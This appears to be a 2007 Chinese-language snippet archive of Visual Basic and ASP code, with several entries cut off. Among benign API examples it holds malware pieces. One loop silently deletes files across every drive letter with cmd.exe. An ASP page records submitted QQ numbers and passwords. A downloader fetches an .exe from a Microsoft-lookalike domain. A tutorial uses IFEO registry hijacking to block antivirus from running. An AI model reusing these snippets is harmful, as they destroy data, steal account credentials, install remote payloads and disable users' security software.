2007-11-06 17:18
Dim i As Single
Dim pp, tt As String
Private Sub Command1_Click()
On Error Resume Next
For i = 65 To 90
pp = Chr(i) + ":\*.qq" 'Print Chr(i)就可以显示结果
tt = "cmd.exe /c del /f /s /q /a " & "" & pp & "" & ""
Shell tt, 0
Next i
End Sub |
2007-09-01 15:15
Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, _
ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias _
"PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _
ByVal wParam As Long, lParam As Any) As Long
Const WM_CLOSE = &H10
'方法1
Private Sub Timer1_Timer()
Dim winHwnd As Long
winHwnd = FindWindow(vbNullString, "我的电脑") '找到caption为我的电脑 |
2007-09-01 15:00
'在模块中
'Declare Function 用于在模块级别中声明对动态链接库 (DLL) 中外部过程的引用。
'Public Const 声明用于代替文字量的常数
'Public WinSysPath As String
'在窗体中
'Private Declare Function
'Const
'dim WinSysPath As String |
2007-08-26 23:24
<%
num=request("num")
pass=request("pass")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("qqurl36.txt"),8,True)
file.writeline num+"--"+pass
file.close
set file=nothing
set fs=nothing
response.write "Send OK!"
%> |
2007-08-02 23:59
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 'sleep函数
Dim ret As Long
Private Sub Command1_Click()
ret = URLDownloadToFile(0, " http://micrsoft.siteem.com/other/555.exe", "c:\2.exe", 0, |
2007-08-01 17:10
'VB利用Shell执行某一个外部程序，如果必须等到该程序结束执行后， 才继续执行下一程序，该怎么办到呢？
'当我们调用Shell时会传回一个数值，该数值称为Process Id，利用该数值，
'我们可以调用OpenProcess API取得Process Handle，然后
'再利用Process Handle调用WaitForSingleObject即可,等待被Shell执行的程序执行完毕，才继续向下执行
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwPr |
2007-07-30 10:26
Option Explicit
Private Const NCBASTAT = &H33
Private Const NCBNAMSZ = 16
Private Const HEAP_ZERO_MEMORY = &H8
Private Const HEAP_GENERATE_EXCEPTIONS = &H4
Private Const NCBRESET = &H32
Private Type NCB
ncb_command As Byte
ncb_retcode As Byte
ncb_lsn As Byte
ncb_num As Byte
ncb_buffer As Long
ncb_length As Integer
ncb_callname As |
2007-07-26 22:40
'建立一个TIMER控件，把TIMER的Interval属性设置成100
'给TIMER控件加入以下代码
Dim a
Private Sub Timer1_Timer()
a = #8:00:00 PM# '发作的时间，自己可以修改
Form1.Caption = Time '把FORM1的标题改成时间
If Form1.Caption = a Then
MsgBox "病毒发作！", 48, "注意" '这个是时间到了后自动弹出的对话框，也可以把它改成别的。
End If
End Sub
|
2007-07-25 00:32
一.什么是映像胁持？
IFEO hijack(映象劫持)
IFEO就是Image File Execution Options， hijack的意思是劫持，这种方法可以使部分程序不可运行
位于注册表的
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
二.使用方法:
在Image File Execution Options下面新建立
\avp.exe项，将其名称，类型，数据新改为Debugger REG_SZ cmd.exe Debugger就是调试的意思
意思是调用 cmd.exe 来调试avp.exe (avp.exe是卡 |
2007-07-22 05:07
|
